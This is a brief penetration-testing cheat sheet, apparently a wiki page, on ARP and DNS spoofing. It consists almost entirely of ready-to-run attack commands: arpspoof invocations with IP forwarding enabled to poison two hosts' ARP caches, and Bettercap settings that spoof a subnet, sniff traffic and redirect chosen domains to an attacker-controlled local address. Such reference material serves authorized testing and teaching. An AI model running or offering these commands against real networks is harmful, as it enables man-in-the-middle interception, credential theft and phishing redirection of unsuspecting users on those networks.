Spoofing
Spoofing
ARP Spoofing
# arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
# Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)DNS Spoofing
# Bettercap
set arp.spoof.fullduplex true
set arp.spoof.targets <IP's>
set dns.spoof.address <local IP>
set dns.spoof.all true
set dns.spoof.domains *.spoofeddomain.com, *.anotherdomain.com
arp.spoof on
net.sniff on
dns.spoof onLast updated